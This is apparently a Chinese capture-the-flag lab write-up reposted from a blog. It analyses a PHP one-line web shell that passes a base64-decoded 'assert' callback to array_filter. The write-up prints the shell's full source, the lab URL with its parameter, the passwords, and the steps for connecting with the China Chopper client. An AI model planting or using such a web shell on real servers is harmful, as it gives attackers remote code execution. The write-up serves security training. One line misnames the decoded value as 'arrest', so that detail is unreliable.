墨者学院 - WebShell代码分析溯源(第4题)

唉让我如此信任的工具在这道题上栽了跟头。。。嗯,以后的结果仅供参考。

下载源代码,在hack文件夹下发现bin.php

打开分析代码得知其为php回调函数类一句话木马

且获得其密码,通过菜刀连接

菜刀连接http://219.153.49.228:42394/www/hack/bin.php?e=YXNzZXJ0
密码为POST

array_filter()函数用回调函数过滤数组中的值,传入$e的参数为YXNzZXJ0(arrest的base64加密值为YXNzZXJ0)

这样回调函数名就是assert,构成一句话木马     assert($_POST['密码'])

POST为密码

array_filter()函数,用回调函数过滤数组中的值
base64_decode()函数,对base64编码的data进行解码

<?php
    error_reporting(0);
    $e=$_REQUEST['e'];
    $arr=array($_POST['joker'],);
    array_filter($arr,base64_decode($e));
?>

用法: http://www.xxx.com/3.php?e=YXNzZXJ0

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/3.php?e=YXNzZXJ0

密码:joker

详解:base64_decode()函数主要用于base64的解码,YXNzZXJ0的base64解码后的结果为assert,e接受浏览器传过来的参数,e接受浏览器传过来的参数,arr是个数组,array_filter()函数用回调函数过滤数组中的值,

如果我们传入$e的参数为YXNzZXJ0,这样的话我们的回调函数名就是assert,并且要过滤数组中的每一个参数

就构成了assert($_POST['joker']),常见的一句话木马,直接用菜刀链接即可

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81364039